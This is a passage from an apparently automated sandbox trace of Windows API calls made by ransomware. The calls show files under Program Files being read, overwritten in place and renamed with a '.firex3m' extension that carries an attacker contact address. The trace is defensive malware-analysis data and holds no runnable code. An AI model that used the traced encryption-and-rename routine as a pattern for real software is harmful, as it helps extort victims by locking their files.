files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0229.169] CloseHandle (hObject=0x694) returned 1 [0229.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.169] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d52c0 [0229.170] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0229.170] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0229.170] GetProcessHeap () returned 0x630000 [0229.170] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0229.171] GetProcessHeap () returned 0x630000 [0229.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0229.171] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.171] ReadFile (in: hFile=0x694, lpBuffer=0x6f3e48, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesRead=0x2ffff0c*=0x180, lpOverlapped=0x0) returned 1 [0229.173] GetProcessHeap () returned 0x630000 [0229.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0229.173] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.173] WriteFile (in: hFile=0x694, lpBuffer=0x6f3768*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesWritten=0x2ffff0c*=0x180, lpOverlapped=0x0) returned 1 [0229.173] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.173] WriteFile (in: hFile=0x694, lpBuffer=0x6f38e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f38e7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.173] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.173] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.174] CloseHandle (hObject=0x694) returned 1 [0229.174] GetProcessHeap () returned 0x630000 [0229.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0229.174] GetProcessHeap () returned 0x630000 [0229.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0229.174] GetProcessHeap () returned 0x630000 [0229.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0229.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4e8c0cf2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x2fffd20, dwReserved1=0x6f3e48, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f00 [0229.174] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0229.174] Sleep (dwMilliseconds=0x1) [0230.933] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html", len=0x6f | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html") returned 1 [0230.933] GetProcessHeap () returned 0x630000 [0230.933] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d0) returned 0x6fe3bb0 [0230.933] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0234.073] CloseHandle (hObject=0x6a0) returned 1 [0234.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.075] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.206] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0234.207] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0234.207] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0234.207] GetProcessHeap () returned 0x630000 [0234.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ba1) returned 0x706cf78 [0234.207] GetProcessHeap () returned 0x630000 [0234.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ba1) returned 0x6ee88b8 [0234.207] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.207] ReadFile (in: hFile=0x6a0, lpBuffer=0x706cf78, nNumberOfBytesToRead=0x9b80, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x2ffff0c*=0x9b80, lpOverlapped=0x0) returned 1 [0237.180] GetProcessHeap () returned 0x630000 [0237.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0237.180] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.180] WriteFile (in: hFile=0x6a0, lpBuffer=0x6ee88b8*, nNumberOfBytesToWrite=0x9b80, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesWritten=0x2ffff0c*=0x9b80, lpOverlapped=0x0) returned 1 [0237.180] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.180] WriteFile (in: hFile=0x6a0, lpBuffer=0x6ef2437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef2437*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0237.180] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.180] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0237.181] CloseHandle (hObject=0x6a0) returned 1 [0237.181] GetProcessHeap () returned 0x630000 [0237.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0237.181] GetProcessHeap () returned 0x630000 [0237.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0237.181] GetProcessHeap () returned 0x630000 [0237.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0237.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x535119c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9bbc, dwReserved0=0xdd07496, dwReserved1=0x706cf70, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5540 [0237.182] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0237.182] Sleep (dwMilliseconds=0x1) [0239.346] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-white.png", len=0x80 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-white.png") returned 1 [0239.346] GetProcessHeap () returned 0x630000 [0239.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5148) returned 0x6fe3bb0 [0239.347] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.347] Sleep (dwMilliseconds=0x1) [0241.292] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_active.png", len=0x77 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_active.png") returned 1 [0241.292] GetProcessHeap () returned 0x630000 [0241.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5398) returned 0x6fe3bb0 [0241.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_active.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\resources\\cursorxbox_active.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.324] Sleep (dwMilliseconds=0x1) [0241.330] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Smooth.scale-100.png", len=0x73 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Smooth.scale-100.png") returned 1 [0241.330] GetProcessHeap () returned 0x630000 [0241.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x538c) returned 0x6fe3bb0 [0241.331] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Smooth.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\smooth.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.352] Sleep (dwMilliseconds=0x1) [0241.365] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepBottom.scale-100.png", len=0x7f | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepBottom.scale-100.png") returned 1 [0241.365] GetProcessHeap () returned 0x630000 [0241.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5358) returned 0x6fe3bb0 [0241.365] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepBottom.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\planecutkeepbottom.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.367] Sleep (dwMilliseconds=0x1) [0241.385] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Object.scale-100.png", len=0x73 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Object.scale-100.png") returned 1 [0241.385] GetProcessHeap () returned 0x630000 [0241.386] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x534c) returned 0x6fe3bb0 [0241.386] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Object.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\object.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.392] Sleep (dwMilliseconds=0x1) [0241.414] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanMerge.scale-100.png", len=0x79 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanMerge.scale-100.png") returned 1 [0241.414] GetProcessHeap () returned 0x630000 [0241.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5320) returned 0x6fe3bb0 [0241.414] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanMerge.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\booleanmerge.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.416] Sleep (dwMilliseconds=0x1) [0243.072] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-24.png", len=0x81 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-24.png") returned 1 [0243.072] GetProcessHeap () returned 0x630000 [0243.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5448) returned 0x6fe3bb0 [0243.073] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.073] Sleep (dwMilliseconds=0x1) [0243.084] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_SplashScreen.scale-100.png", len=0x8f | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_SplashScreen.scale-100.png") returned 1 [0243.084] GetProcessHeap () returned 0x630000 [0243.084] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x542c) returned 0x6fe3bb0 [0243.084] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.098] Sleep (dwMilliseconds=0x1) [0243.121] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png", len=0x7f | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png") returned 1 [0243.121] GetProcessHeap () returned 0x630000 [0243.121] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53b8) returned 0x6fe3bb0 [0243.122] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.124] Sleep (dwMilliseconds=0x1) [0243.135] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css", len=0x62 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css") returned 1 [0243.135] GetProcessHeap () returned 0x630000 [0243.136] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53a0) returned 0x6fe3bb0 [0243.136] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.155] Sleep (dwMilliseconds=0x1) [0243.167] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Materials.png", len=0x83 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Materials.png") returned 1 [0243.167] GetProcessHeap () returned 0x630000 [0243.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5328) returned 0x6fe3bb0 [0243.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Materials.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_materials.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.171] Sleep (dwMilliseconds=0x1) 